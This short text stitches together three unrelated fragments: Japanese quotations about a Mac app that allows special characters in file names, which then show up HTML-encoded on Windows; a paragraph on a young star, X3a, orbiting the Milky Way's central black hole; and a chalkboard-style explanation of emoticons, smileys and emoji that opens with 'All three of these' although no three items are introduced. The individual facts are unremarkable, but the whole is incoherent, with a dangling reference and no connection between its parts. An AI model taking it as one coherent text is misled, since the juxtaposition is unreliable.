『(Mac版の)バージョン24.206以降で…「"」「*」「:」「<」「>」「?」「/」「|」といった特殊文字を、ファイル名に使用できる』

『これらの文字はWindows上ではファイル名には利用できない』

『例えば(Mac版で作ったファイル)「Hello : World.txt」が(Windowsでは)「Hello &#x3a; World.txt」とHTMLエンコードされた形式で表示されるなど、事情を知らない人からすると不具合に見える挙動が発生するため、波紋を呼んでいる』

An article published in "The Astrophysical Journal" reports the discovery of a very young and massive star, cataloged as X3a, in an environment in which it shouldn't exist, as it orbits Sagittarius A*, or simply Sgr A*, the supermassive black hole at the center of the Milky Way.

All three of these involve walking through a sequence of steps:

bytes -> characters -> rendering -> reading

...with all but the last step occurring in the computers.

In the case of emoticons, the bytes become pictures at the reading stage. &#x3A; does not represent eyes and is rendered as a colon character, &#x2D; does not represent a nose and is rendered as a hyphen-minus character, and &#x29; does not represent a mouth and is rendered as a close-parenthesis characer ... but in the eyes of the reader, :-) registers clearly as a smiling face.

In the case of smileys, the bytes become pictures at the rendering stage. Again, none of the *characters* represent pictures, but the computer recognizes a sequence of characters (e.g. :geek: on a phpBB forum) and renders this sequence of characters as an image.

In the case of emoji, the bytes become pictures at the *character* stage. &#x1F638; represents *as a character* a picture of a "Grinning Cat Face With Smiling Eyes", on top of being rendered as a picture (😸) and perceived as a picture by the reader.

...that said, "emoji" as a term has undergone an expansion in meaning, probably through the influence of group chat services like Slack and Discord, and now includes smileys. But that is how I think of the distinction between these three things.

*sets chalk down* Any questions?
